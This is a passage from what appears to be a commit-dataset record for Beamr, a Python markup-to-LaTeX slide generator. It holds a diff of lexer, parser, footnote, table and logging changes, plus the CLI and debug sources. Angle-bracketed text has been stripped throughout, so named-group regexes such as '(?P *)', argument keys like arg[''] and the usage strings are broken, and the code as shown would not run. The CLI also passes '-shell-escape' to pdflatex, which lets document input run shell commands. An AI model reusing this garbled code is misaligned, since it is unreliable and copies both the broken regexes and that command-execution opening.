Config.getRaw('~boxEnd', kind))\n \n Slide.parsingQ.insert(0, innerFunc)\n+ slideLexer.lineno = nextlineno\n \n \n class Emph(Hierarchy):\n@@ -342,19 +443,43 @@ def __str__(self):\n \n \n class Stretch(Hierarchy):\n- def __init__(self, flag, txt=''):\n- self.flag = flag\n+ def __init__(self, flagS, flagF, txt=''):\n+ self.flagS = flagS if flagS else ''\n+ self.flagF = flagF if flagF else ''\n def innerFunc():\n super(Stretch, self).__init__(slideParser.parse(txt, slideLexer) if txt else [])\n Slide.parsingQ.insert(0, innerFunc)\n \n def __str__(self):\n- return Config.get('stretch', self.flag)(super(Stretch, self).__str__())\n+ f = Config.get('stretch', self.flagS + self.flagF, default=None)\n+ if not f and self.flagS == self.flagF:\n+ f = Config.get('stretch', self.flagS, default=None)\n+ if not f:\n+ f = Config.get('emph', self.flagS)\n+ if f:\n+ return f(super(Stretch, self).__str__())\n+ return super(Stretch, self).__str__()\n \n \n class Footnote(Hierarchy):\n+\n def __init__(self, txt):\n+ i = txt.find(':')\n+ label = txt[0:i] if i > -1 else None\n+ txt = txt[i+1:]\n+\n def innerFunc():\n- super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n- r'\\footnote[frame]{', '}')\n+ if txt and label:\n+ super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n+ Config.get('~fnLabel')(label),\n+ '}')\n+ elif txt:\n+ super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n+ Config.getRaw('~fnSimple'),\n+ '}')\n+ elif label:\n+ super(Footnote, self).__init__([],\n+ Config.get('~fnOnlyLabel')(label))\n+ else:\n+ super(Footnote, self).__init__([])\n Slide.parsingQ.insert(0, innerFunc)\ndiff --git a/beamr/interpreters/textual.py b/beamr/interpreters/textual.py\nindex 9f73155..4d8e491 100644\n--- a/beamr/interpreters/textual.py\n+++ b/beamr/interpreters/textual.py\n@@ -6,7 +6,7 @@\n '''\n import os.path\n import re\n-from beamr.lexers import imageLexer\n+from beamr.lexers import docLexer, imageLexer, slideLexer\n from beamr.parsers import imageParser\n from beamr.debug import debug, warn\n \n@@ -25,41 +25,59 @@ def __repr__(self):\n \n class Comment(Text):\n def __init__(self, txt):\n- debug('Comment ', txt)\n- super(Comment, self).__init__('% ' + txt)\n+ debug('Comment ', txt, range=slideLexer.lineno)\n+ from beamr.interpreters import Config\n+ super(Comment, self).__init__(Config.get('~comment')(txt))\n \n \n class Escape(Text):\n def __init__(self, txt):\n+ debug('Escape', txt, range=slideLexer.lineno)\n super(Escape, self).__init__(txt[1:])\n \n \n+class Antiescape(Text):\n+ def __str__(self):\n+ from beamr.interpreters.config import Config\n+ if self.txt in Config.getRaw('antiescape'):\n+ return '\\\\' + self.txt\n+ else:\n+ return self.txt\n+\n+\n class Citation(Text):\n+ def __init__(self, txt, opts):\n+ self.txt = txt\n+ self.opts = opts\n+ self.lineno = slideLexer.lineno\n+\n def __str__(self):\n from beamr.interpreters.config import Config\n- if Config.effectiveConfig['bib']:\n- return r'\\cite{' + self.txt + '}'\n+ if Config.getRaw('bib'):\n+ if self.opts:\n+ return Config.get('~citeOpts')((self.opts, self.txt))\n+ else:\n+ return Config.get('~citeSimple')(self.txt)\n else:\n- warn('Citations used but no bibliography file given.')\n+ warn('Citations used but no bibliography file given! Skipping.', range=self.lineno)\n return ''\n \n \n class Url(Text):\n- def __init__(self, txt):\n- super(Url, self).__init__(r'\\url{' + txt + '}')\n+ def __str__(self):\n+ from beamr.interpreters.config import Config\n+ return Config.get('~url')(self.txt)\n \n \n class Heading(Text):\n usedMarkers = []\n- formats = [\n-# '\\\\chapter{ %s }\\n', # Invalid?\n- '\\\\section{ %s }\\n',\n- '\\\\subsection{ %s }\\n',\n- '\\\\subsubsection{ %s }\\n'\n- ]\n- \n+\n def __init__(self, txt):\n- txt = txt.strip().splitlines()\n+ super(Heading, self).__init__(txt)\n+ self.lineno = docLexer.lineno\n+\n+ def __str__(self):\n+ txt = self.txt.strip().splitlines()\n marker = txt[1][0]\n \n try:\n@@ -69,11 +87,12 @@ def __init__(self, txt):\n Heading.usedMarkers.append(marker)\n \n if i > 2: # Anti-stupid\n- warn(\"Something's wrong with heading marker\", marker, 'having index', i)\n+ warn(\"Something's wrong with heading marker\", marker, 'having index', i, range=self.lineno)\n i = 2\n \n- super(Heading, self).__init__(Heading.formats[i] % txt[0])\n- debug('Heading level', i, marker, txt[0])\n+ from beamr.interpreters.config import Config\n+ debug('Heading level', i, marker, txt[0], range=self.lineno)\n+ return Config.get('~heading', i)(txt[0])\n \n \n class ImageEnv(Text):\n@@ -86,6 +105,7 @@ class ImageEnv(Text):\n \n def __init__(self, txt):\n try:\n+ imageLexer.lineno=slideLexer.lineno\n files, shape, align, dims = imageParser.parse(txt[2:-1].strip(), imageLexer)\n debug(files, shape, align, dims)\n \n@@ -139,7 +159,7 @@ def grid(dims, files, implicitFillWidth=True):\n return s\n \n def smartGrid(dims, files, implicitFillWidth=True):\n- warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.')\n+ warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.', range=slideLexer.lineno)\n return grid(dims, files, implicitFillWidth)\n \n shapes = {'|': vStrip,\n@@ -148,56 +168,85 @@ def smartGrid(dims, files, implicitFillWidth=True):\n '#': smartGrid}\n \n super(ImageEnv, self).__init__(shapes.get(shape, singleImage)(dims, files))\n+ slideLexer.lineno = slideLexer.nextlineno\n \n \n class PlusEnv(Text):\n \n def __init__(self, txt):\n # TODO\n- warn('Plus integration not yet implemented')\n+ warn('Plus integration not yet implemented', slideLexer.lineno+1)\n super(PlusEnv, self).__init__( 'Plus: ' + txt)\n+ slideLexer.lineno = slideLexer.nextlineno\n \n \n class TableEnv(Text):\n- \n+\n+ begin = r'\\begin{center}\\begin{tabular}{%s}'\n+ beginX = r'\\begin{tabularx}{\\textwidth}{%s}'\n+ end = r'\\end{tabular}\\end{center}'\n+ endX = r'\\end{tabularx}'\n+ hBar = '\\n\\\\hline'\n+\n def __init__(self, txt):\n # TODO\n- warn('Tables not yet implemented')\n- super(TableEnv, self).__init__( 'Table: ' + txt )\n+ self.remember([])\n+ slideLexer.lineno = slideLexer.nextlineno\n \n+ def remember(self, arr, aligns='', vBars='', hBars=None):\n+ self.arr = arr\n+ maxWidth = max(map(lambda a: len(a), arr))\n+ self.aligns = aligns or 'c' * maxWidth\n+ self.vBars = vBars or ' ' + '|' * (maxWidth-1) + ' '\n+ self.hBars = hBars or range(1, len(arr))\n \n-class ScissorEnv(Text):\n+ def __str__(self):\n+ aligns = ''.join([self.vBars[i] + self.aligns[i] for i in range(len(self.aligns))]) + self.vBars[-1]\n+ debug('Aligns:', aligns, 'done')\n+\n+ s = (self.begin if aligns.find('X') == -1 else self.beginX) % aligns\n+ for i in range(len(self.arr)):\n+ if i in self.hBars:\n+ s += self.hBar\n+ s += '\\n' + ' & '.join(map(lambda a: str(a), self.arr[i])) + r' \\\\'\n+ if len(self.arr) in self.hBars:\n+ s += self.hBar\n+ s += (self.end if aligns.find('X') == -1 else self.endX) + '\\n'\n+ return s\n \n- includeCmd = r'{\\setbeamercolor{background canvas}{bg=}\\includepdf%s{%%s}}'\n- pagesSpec = '[pages={%s}]'\n+\n+class ScissorEnv(Text):\n \n def __init__(self, txt):\n- super(ScissorEnv, self).__init__(self._init_helper(txt.strip().split()) + '\\n')\n+ super(ScissorEnv, self).__init__(txt)\n+ self.lineno = docLexer.lineno\n \n- def _init_helper(self, arr):\n- if len(arr) == 0:\n- warn('Skipping empty scissor command')\n+ def __str__(self):\n+ arr = self.txt.strip().split()\n+ if not len(arr):\n+ warn('Empty 8< command, omitting', range=self.lineno)\n return ''\n \n+ from beamr.interpreters.config import Config\n+\n if not (os.path.isfile(arr[0]) or os.path.isfile(arr[0] + '.pdf')):\n- # TODO Link to safety net\n- # if .safe:\n- # warn('File included in scissor command not found, omitting')\n- # return ''\n- # else:\n- warn('File included in scissor command not found, proceeding unsafely...')\n+ if Config.getRaw('safe'):\n+ warn('File for 8< not found, omitting', range=self.lineno)\n+ return ''\n+ else:\n+ warn('File for 8< not found, proceeding unsafely', range=self.lineno)\n \n if len(arr) > 1:\n+ if len(arr) > 2:\n+ warn('Ignoring extraneous arguments in 8<', range=self.lineno)\n+\n if re.fullmatch(r'\\d+(-\\d+)?(,\\d+(-\\d+)?)*', arr[1]):\n- cmd = self.includeCmd % self.pagesSpec\n- return cmd % (arr[1], arr[0])\n+ return Config.get('~scissorPages')((arr[1], arr[0]))\n+\n else:\n- warn('Ignoring malformed page range in scissor command')\n- if len(arr) > 2:\n- warn('Ignoring extraneous arguments in scissor command')\n+ warn('Ignoring malformed page range in 8<', range=self.lineno)\n \n- cmd = self.includeCmd % ''\n- return cmd % arr[0]\n+ return Config.get('~scissorSimple')(arr[0])\n \n \n class VerbatimEnv(Text):\n@@ -220,7 +269,7 @@ def __init__(self, head, body):\n while num:\n lettr += chr(64 + num%27)\n num //= 27\n- self.insertCmd = Config.get('vbtmCmds', 'insertion')(lettr)\n+ self.insertCmd = Config.get('~vbtmCmds', 'insertion')(lettr)\n self.head = head\n self.body = body\n super(VerbatimEnv, self).__init__(self.insertCmd)\n@@ -232,21 +281,21 @@ def resolve(cls):\n # Ensure proper package name is given\n from beamr.interpreters import Config\n package = Config.getRaw('verbatim')\n- packageList = Config.getRaw('vbtmCmds', 'packageNames')\n+ packageList = Config.getRaw('~vbtmCmds', 'packageNames')\n if package not in packageList:\n package = packageList[0]\n Config.effectiveConfig['verbatim'] = package\n Config.effectiveConfig['packages'].append(package)\n \n- cls.preambleDefs = Config.getRaw('vbtmCmds', 'once', package) + '\\n'\n+ cls.preambleDefs = Config.getRaw('~vbtmCmds', 'once', package) + '\\n'\n \n for f in cls.todo:\n if f.head:\n- cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreach', package) % (\n+ cls.preambleDefs += Config.getRaw('~vbtmCmds', 'foreach', package) % (\n f.insertCmd,\n f.head,\n f.body)\n else:\n- cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreachNoLang', package) % (\n+ cls.preambleDefs += Config.getRaw('~vbtmCmds', 'foreachNoLang', package) % (\n f.insertCmd,\n f.body)\ndiff --git a/beamr/lexers/document.py b/beamr/lexers/document.py\nindex 5822e8f..be7997a 100644\n--- a/beamr/lexers/document.py\n+++ b/beamr/lexers/document.py\n@@ -8,34 +8,55 @@\n import beamr.interpreters\n import beamr.debug as dbg\n \n-tokens = ('COMMENT', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')\n+tokens = ('COMMENT', 'RAW', 'HEADING', 'SLIDE', 'SCISSOR', 'YAML', 'TEXT')\n \n def t_COMMENT(t):\n- r'#[\\s\\S]*?(\\n|$)'\n+ r'#.*(?=(\\n|$))'\n t.value = beamr.interpreters.Comment(t.value)\n return t\n \n+def t_RAW(t):\n+ r'\\n(?P *)&{(?P[\\s\\S]+?)\\n(?P=RAW_INDENT)}'\n+ _trackLineNo(t.lexer, t.value)\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Text(gd['RAW_TXT'] + '\\n\\n')\n+ return t\n+\n def t_HEADING(t):\n- r'(^|\\n).+\\n[_~=-]{4,}\\n'\n+ r'\\n.+\\n[_~=-]{4,}(?=\\n)'\n+ t.lexer.lineno += 2\n t.value = beamr.interpreters.Heading(t.value)\n return t\n \n def t_SLIDE(t):\n- r'(^\\[|\\n\\[)[\\s\\S]+?\\n\\]'\n- t.value = beamr.interpreters.Slide(t.value)\n+ r'\\n\\[(?P\\S*) ?(?P.*)(?P[\\s\\S]*?)\\n\\]'\n+ _trackLineNo(t.lexer, t.value, False)\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Slide(\n+ gd['SLD_TITLE'], gd['SLD_OPTS'], gd['SLD_CONTENT'])\n return t\n \n def t_SCISSOR(t):\n- r'(8<|>8){[\\s\\S]+?}'\n+ r'(8<|>8){.+?}'\n t.value = beamr.interpreters.ScissorEnv(t.value[3:-1])\n return t\n \n def t_YAML(t):\n- r'(^|\\n)---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'\n+ r'\\n---\\n[\\s\\S]*?(\\n\\.\\.\\.|$)'\n+ _trackLineNo(t.lexer, t.value)\n t.value = beamr.interpreters.Config(t.value)\n return t\n \n-# Rather, potential YAML. Parsing will be attempted, but may fail\n-t_TEXT = r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8))'\n+def t_TEXT(t):\n+ r'[\\s\\S]+?(?=(\\n|\\[|#|$|>|8|&))'\n+ _trackLineNo(t.lexer, t.value)\n+ return t\n \n lexer = lex.lex(debug=dbg.verbose, reflags=0)\n+\n+def _trackLineNo(lexer, text, autoadvance=True):\n+ if autoadvance:\n+ lexer.lineno += text.count('\\n')\n+ else:\n+ lexer.nextlineno = lexer.lineno + text.count('\\n')\n+# print 'Change lineno from', lexer.prevlineno, 'to', lexer.lineno\ndiff --git a/beamr/lexers/generic.py b/beamr/lexers/generic.py\nindex 5ba3c75..d1eab9c 100644\n--- a/beamr/lexers/generic.py\n+++ b/beamr/lexers/generic.py\n@@ -6,5 +6,5 @@\n from beamr.debug import warn\n \n def t_error(t):\n- warn ('Skip lexing error..', t)\n+ warn ('Skip lexing error..', t, 'at line', t.lexer.lineno)\n t.lexer.skip(1)\ndiff --git a/beamr/lexers/slide.py b/beamr/lexers/slide.py\nindex de5ce92..26ba0ad 100644\n--- a/beamr/lexers/slide.py\n+++ b/beamr/lexers/slide.py\n@@ -3,16 +3,17 @@\n \n @author: Teodor Gherasim Nistor\n '''\n+from __future__ import unicode_literals\n from ply import lex\n from beamr.lexers.generic import t_error # Used internally by lex() @UnusedImport\n-from beamr.lexers.document import t_COMMENT # Used internally by lex() @UnusedImport\n+from beamr.lexers.document import t_COMMENT, t_RAW, _trackLineNo # Used internally by lex() @UnusedImport\n import beamr\n \n tokens = (\n 'COMMENT',\n+ 'AUTORAW',\n 'ESCAPE',\n- 'STRETCH1',\n- 'STRETCH2',\n+ 'STRETCH',\n 'EMPH',\n 'CITATION',\n 'FOOTNOTE',\n@@ -22,6 +23,8 @@\n 'IMGENV',\n 'PLUSENV',\n 'TABENV',\n+ 'ORGTABLE',\n+ 'RAW',\n 'VERBATIM',\n 'MACRO',\n 'BOX',\n@@ -30,36 +33,39 @@\n )\n \n \n-def t_ESCAPE(t):\n- r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# # Almost copy-paste from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n- t.value = beamr.interpreters.Escape(t.value)\n+def t_AUTORAW(t):\n+ r'\\\\[a-zA-Z]+(\\{.*?\\}|<.*?>|\\[.*?\\])*(?=[\\s\\\\]|$)'\n+ t.value = beamr.interpreters.Text(t.value)\n return t\n \n-def t_STRETCH1(t):\n- r'\\[[<>_^:+]\\]' # e.g. [+] # TODO Tailor to those actually used\n- t.value = beamr.interpreters.Stretch(t.value[1])\n+def t_ESCAPE(t):\n+ r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# Inspired from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n+ t.value = beamr.interpreters.Escape(t.value)\n return t\n \n-def t_STRETCH2(t):\n- r'\\[[<>_v^].+?[<>_v^]\\]' # e.g. [< Stretched text >]\n- t.value = beamr.interpreters.Stretch(t.value[1]+t.value[-2], t.value[2:-2])\n+def t_STRETCH(t):\n+ r'\\[(?P[<>_^:+*~.]{1,3})((?P.*?[^\\\\])(?P(?P=STRETCH_FLAG_S)|[<>]))?\\]'\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Stretch(\n+ gd['STRETCH_FLAG_S'], gd['STRETCH_FLAG_F'], gd['STRETCH_TXT'])\n return t\n \n def t_EMPH(t):\n- r'(?P[*_~]{1,2})(?P[\\S](.*?[\\S])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~\n- global lexer\n- gd = lexer.lexmatch.groupdict()\n+ r'(?P[*_~]{1,2})(?P[\\S](.*?[^\\s\\\\])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~\n+ gd = t.lexer.lexmatch.groupdict()\n t.value = beamr.interpreters.Emph(\n gd['EMPH_FLAG'], gd['EMPH_TXT'])\n return t\n \n def t_CITATION(t):\n- r'\\[--.+?\\]' # e.g. [fn:See attached docs]\n- t.value = beamr.interpreters.Citation(t.value[3:-1])\n+ r'\\[--(?P.+?)(:(?P.+?))?\\]' # e.g. [--einstein:p.241]\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Citation(\n+ gd['CITE_TXT'], gd['CITE_OPTS'])\n return t\n \n def t_FOOTNOTE(t):\n- r'\\[-.+?-\\]' # e.g. [fn:See attached docs]\n+ r'\\[-.+?-\\]' # e.g. [-24:See attached docs-]\n t.value = beamr.interpreters.Footnote(t.value[2:-2])\n return t\n \n@@ -73,7 +79,8 @@ def t_URL(t):\n # *. Two\n # -,+ Three\n def t_LISTITEM(t):\n- r'(^|\\n)(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'\n+ r'\\n(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.ListItem(t.value)\n return t\n \n@@ -83,50 +90,65 @@ def t_LISTITEM(t):\n # |20%\n # Column content\n def t_COLUMN(t):\n- r'(^|\\n)(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'\n+ r'\\n(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.Column(t.value)\n return t\n \n def t_IMGENV(t):\n r'~{[\\s\\S]*?}'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.ImageEnv(t.value)\n return t\n \n def t_PLUSENV(t):\n- r'(^|\\n)(?P *)\\[[\\s\\S]+\\n(?P=PLUS_INDENT)\\]'\n+ r'\\n(?P *)\\[[\\s\\S]+?\\n(?P=PLUS_INDENT)\\]'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.PlusEnv(t.value)\n return t\n \n def t_TABENV(t):\n- r'={[\\s\\S]+?}'\n- t.value = beamr.interpreters.TableEnv(t.value)\n+ r'={[\\s\\S]+?(? *)\\|.*(\\n(?P=ORGTAB_INDENT)\\|.*)+'\n+ _trackLineNo(t.lexer, t.value, False)\n+ t.value = beamr.interpreters.OrgTable(t.value)\n return t\n \n def t_VERBATIM(t):\n- r'(^|\\n)(?P *){{(?P.*)\\n(?P[\\s\\S]+)\\n(?P=VBTM_INDENT)}}'\n- global lexer\n- gd = lexer.lexmatch.groupdict()\n+ r'\\n(?P *){{(?P.*)\\n(?P[\\s\\S]+?)\\n(?P=VBTM_INDENT)}}'\n+ _trackLineNo(t.lexer, t.value)\n+ gd = t.lexer.lexmatch.groupdict()\n t.value = beamr.interpreters.VerbatimEnv(\n gd['VBTM_HEAD'].strip(), gd['VBTM_BODY'])\n return t\n \n def t_MACRO(t):\n r'%{[\\s\\S]+?}'\n+ _trackLineNo(t.lexer, t.value, False)\n t.value = beamr.interpreters.Macro(t.value)\n return t\n \n def t_BOX(t):\n- r'(^|\\n)(?P *)\\((\\*|!)[\\s\\S]+?\\n(?P=BOX_INDENT)\\)'\n- t.value = beamr.interpreters.Box(t.value)\n+ r'\\n(?P *)\\((?P\\*|!|\\?)(?P.+)(?P[\\s\\S]+?)\\n(?P=BOX_INDENT)\\)'\n+ _trackLineNo(t.lexer, t.value, False)\n+ gd = t.lexer.lexmatch.groupdict()\n+ t.value = beamr.interpreters.Box(\n+ gd['BOX_KIND'].strip(), gd['BOX_TITLE'], gd['BOX_CONTENT'])\n return t\n \n def t_ANTIESCAPE(t):\n- r'[%&]'\n- t.value = beamr.interpreters.Text('\\\\' + t.value)\n+ r'[^0-9A-Za-z\\u00c0-\\uffff\\s]'\n+ t.value = beamr.interpreters.Antiescape(t.value)\n return t\n \n def t_TEXT(t):\n- r'[\\s\\S]+?(?=[^0-9A-Za-z\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n+ r'[\\s\\S]+?(?=[^0-9A-Za-z\\u00c0-\\uffff\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n+ _trackLineNo(t.lexer, t.value)\n t.value = beamr.interpreters.Text(t.value)\n return t\n \ndiff --git a/beamr/parsers/document.py b/beamr/parsers/document.py\nindex 3db2b75..18ee046 100644\n--- a/beamr/parsers/document.py\n+++ b/beamr/parsers/document.py\n@@ -12,6 +12,7 @@\n \n def p_main_notext(t):\n '''main : main COMMENT\n+ | main RAW\n | main HEADING\n | main SLIDE\n | main SCISSOR\n@@ -27,4 +28,4 @@ def p_main_text(t):\n '''main : main TEXT'''\n t[0] = t[1]\n \n-parser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=not debug.quiet)\n+parser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=debug.quiet<2)\ndiff --git a/beamr/parsers/image.py b/beamr/parsers/image.py\nindex 8fd078a..7878e24 100644\n--- a/beamr/parsers/image.py\n+++ b/beamr/parsers/image.py\n@@ -100,4 +100,4 @@ def _optional_format(a, b):\n else:\n return (a[0], a[1])\n \n-parser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=not debug.quiet)\n+parser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=debug.quiet<2)\ndiff --git a/beamr/parsers/slide.py b/beamr/parsers/slide.py\nindex b9f51fc..b29353b 100644\n--- a/beamr/parsers/slide.py\n+++ b/beamr/parsers/slide.py\n@@ -21,9 +21,9 @@ def p_main(t):\n \n def p_elem(t):\n '''elem : COMMENT\n+ | AUTORAW\n | ESCAPE\n- | STRETCH1\n- | STRETCH2\n+ | STRETCH\n | EMPH\n | CITATION\n | FOOTNOTE\n@@ -33,6 +33,8 @@ def p_elem(t):\n | IMGENV\n | PLUSENV\n | TABENV\n+ | ORGTABLE\n+ | RAW\n | VERBATIM\n | MACRO\n | BOX\n@@ -40,4 +42,4 @@ def p_elem(t):\n | TEXT'''\n t[0] = t[1]\n \n-parser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=not debug.quiet)\n+parser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=debug.quiet<2)\n", "files": {"/beamr/cli.py": {"changes": [{"diff": "\n # If configuration editing mode, delegate to Config\n from beamr.interpreters.config import Config\n if arg['--edit-config']:\n- return Config.editUserConfig(arg[''])\n+ return Config.editUserConfig(arg[''], arg['--dump-config'])\n \n # Establish pdflatex command and parameters if required\n pdflatex = None\n", "add": 1, "remove": 1, "filename": "/beamr/cli.py", "badparts": [" return Config.editUserConfig(arg[''])"], "goodparts": [" return Config.editUserConfig(arg[''], arg['--dump-config'])"]}], "source": "\n ''' Beamr @author: Teodor Gherasim Nistor @copyright: 2018 Teodor Gherasim Nistor @license: MIT License ''' from __future__ import print_function import sys import beamr.debug as debug from beamr import setup_arg, cli_name from docopt import docopt def main(): halp='''%s -%s Usage: %s[-n|-p ][-q|-v][-u|-s][-c ][--][-| ][-| ] %s(-h|-e[])[-v] %s --version Options: -p , --pdflatex= Specify pdflatex executable name and/or path to[default: pdflatex] -c , --config= Override configuration. must be valid Yaml -e, --edit-config Open user configuration file for editing. An editor must be specified if configuration doesn't exist or doesn't mention one -n, --no-pdf Don't create PDF output file(just generate Latex source) -u, --unsafe Trust certain user input which cannot be verified -s, --safe Don't trust user input which cannot be verified -v, --verbose Print inner workings of the lexer-parser-interpreter cycle to stderr -q, --quiet Print nothing except errors to stderr. If using Python >=3.6 this will also mute output from pdflatex -h, --help Show this message and exit. --version Print version information ''' %(setup_arg['name'], setup_arg['description'], cli_name, cli_name, cli_name) arg=docopt(halp, version=setup_arg['version']) if arg['--verbose']: debug.verbose=True if arg['--quiet']: debug.quiet=True debug.debug('args:', str(arg).replace('\\n', '')) from beamr.interpreters.config import Config if arg['--edit-config']: return Config.editUserConfig(arg['']) pdflatex=None if not arg['--no-pdf']: pdflatex=[arg['--pdflatex'], '-shell-escape'] if arg['']: outFile=arg[''] arg['']=None i=outFile.rfind('/') +1 if(i > 0): pdflatex.append('-output-directory=' +outFile[:i]) pdflatex.append('-jobname=' +outFile[i:]) if arg['']: sys.stdin=open(arg[''], 'r') if arg['']: sys.stdout=open(arg[''], 'w') cmdlineSpecial={} if arg['--safe']: cmdlineSpecial['safe']=True elif arg['--unsafe']: cmdlineSpecial['safe']=False Config.fromCmdline(arg['--config'], **cmdlineSpecial) from beamr.interpreters import Document with sys.stdin: with sys.stdout: doc=Document(sys.stdin.read()) tex=str(doc) if pdflatex: from subprocess import Popen, PIPE runkwarg={'stdin': PIPE} if debug.quiet: runkwarg.update({'stdout': PIPE, 'stderr': PIPE}) sp=Popen(pdflatex, **runkwarg) try: sp.communicate(bytes(tex, encoding='utf-8')) except: sp.communicate(bytes(tex)) sp.stdin.close() rcode=sp.wait() if rcode: debug.err('Fatal: pdflatex exited with nonzero status', rcode) return rcode else: print(tex) if __name__==\"__main__\": sys.exit(main()) ", "sourceWithComments": "#!/usr/bin/env python3\n# encoding: utf-8\n'''\nBeamr\n\n@author: Teodor Gherasim Nistor\n\n@copyright: 2018 Teodor Gherasim Nistor\n\n@license: MIT License\n'''\nfrom __future__ import print_function\nimport sys\nimport beamr.debug as debug\nfrom beamr import setup_arg, cli_name\nfrom docopt import docopt\n\n\ndef main():\n halp = '''%s - %s\n\n Usage:\n %s [-n|-p ] [-q|-v] [-u|-s] [-c ] [--] [- | ] [- | ]\n %s (-h|-e []) [-v]\n %s --version\n\n Options:\n -p , --pdflatex= Specify pdflatex executable name and/or path to [default: pdflatex]\n -c , --config= Override configuration. must be valid Yaml\n -e, --edit-config Open user configuration file for editing. An editor must be specified if configuration doesn't exist or doesn't mention one\n -n, --no-pdf Don't create PDF output file (just generate Latex source)\n -u, --unsafe Trust certain user input which cannot be verified\n -s, --safe Don't trust user input which cannot be verified\n -v, --verbose Print inner workings of the lexer-parser-interpreter cycle to stderr\n -q, --quiet Print nothing except errors to stderr. If using Python >=3.6 this will also mute output from pdflatex\n -h, --help Show this message and exit.\n --version Print version information\n''' % (setup_arg['name'], setup_arg['description'], cli_name, cli_name, cli_name)\n\n # Parse arguments nicely with docopt\n arg = docopt(halp, version=setup_arg['version'])\n\n # Set logging level\n if arg['--verbose']:\n debug.verbose = True\n if arg['--quiet']:\n debug.quiet = True\n\n # Docopt arguments themselves need debugging sometimes...\n debug.debug('args:', str(arg).replace('\\n', ''))\n\n # If configuration editing mode, delegate to Config\n from beamr.interpreters.config import Config\n if arg['--edit-config']:\n return Config.editUserConfig(arg[''])\n\n # Establish pdflatex command and parameters if required\n pdflatex = None\n if not arg['--no-pdf']:\n pdflatex = [arg['--pdflatex'], '-shell-escape']\n if arg['']:\n outFile = arg['']\n arg[''] = None\n i = outFile.rfind('/') + 1\n if (i > 0):\n pdflatex.append('-output-directory=' + outFile[:i])\n pdflatex.append('-jobname=' + outFile[i:])\n\n # Open I/O files where relevant\n if arg['']:\n sys.stdin = open(arg[''], 'r')\n if arg['']:\n sys.stdout = open(arg[''], 'w')\n\n # Decode other configuration\n cmdlineSpecial = {}\n if arg['--safe']:\n cmdlineSpecial['safe'] = True\n elif arg['--unsafe']:\n cmdlineSpecial['safe'] = False\n Config.fromCmdline(arg['--config'], **cmdlineSpecial)\n\n # Only after setting logging level import our interpreters\n from beamr.interpreters import Document\n\n with sys.stdin:\n with sys.stdout:\n\n # Parse document\n doc = Document(sys.stdin.read())\n tex = str(doc)\n\n # Run pdflatex on obtained tex source\n if pdflatex:\n from subprocess import Popen, PIPE\n\n runkwarg = {'stdin': PIPE} # TODO Investigate encoding gotchas\n if debug.quiet:\n runkwarg.update({'stdout': PIPE, 'stderr': PIPE})\n\n sp = Popen(pdflatex, **runkwarg)\n\n try: # Python 3\n sp.communicate(bytes(tex, encoding='utf-8'))\n except: # Python 2\n sp.communicate(bytes(tex))\n\n sp.stdin.close()\n rcode = sp.wait()\n\n if rcode:\n debug.err('Fatal: pdflatex exited with nonzero status', rcode)\n return rcode\n\n # Just output tex source\n else:\n print(tex)\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n"}, "/beamr/debug.py": {"changes": [{"diff": "\n from __future__ import print_function\n import sys\n \n-file = sys.stderr\n-verbose = False\n-quiet = False\n+verbose = 0\n+quiet = 0\n+infname = ''\n \n-def debug(*arg):\n+def debug(*arg, **kw):\n if verbose:\n- print('DBG:', *arg, file=file)\n+ _print(arg, kw, 'DBG')\n \n-def warn(*arg):\n- if not quiet:\n- print('WARN:', *arg, file=file)\n+def warn(*arg, **kw):\n+ if quiet < 2:\n+ _print(arg, kw, 'WARN')\n \n-def err(*arg):\n- print('ERR:', *arg, file=file)\n+def err(*arg, **kw):\n+ if quiet < 3:\n+ _print(arg, kw, 'ERR')\n+\n+def _print(arg, kw, pre=''):\n+ kw['file'] = sys.stderr\n+ if 'range' in kw:\n+ pre = '%s:%s: %s:' % (infname, kw['range'], pre)\n+ del kw['range']\n+ else:\n+ pre = '%s: %s:' % (infname, pre)\n+ print(pre, *arg, **kw", "add": 20, "remove": 10, "filename": "/beamr/debug.py", "badparts": ["file = sys.stderr", 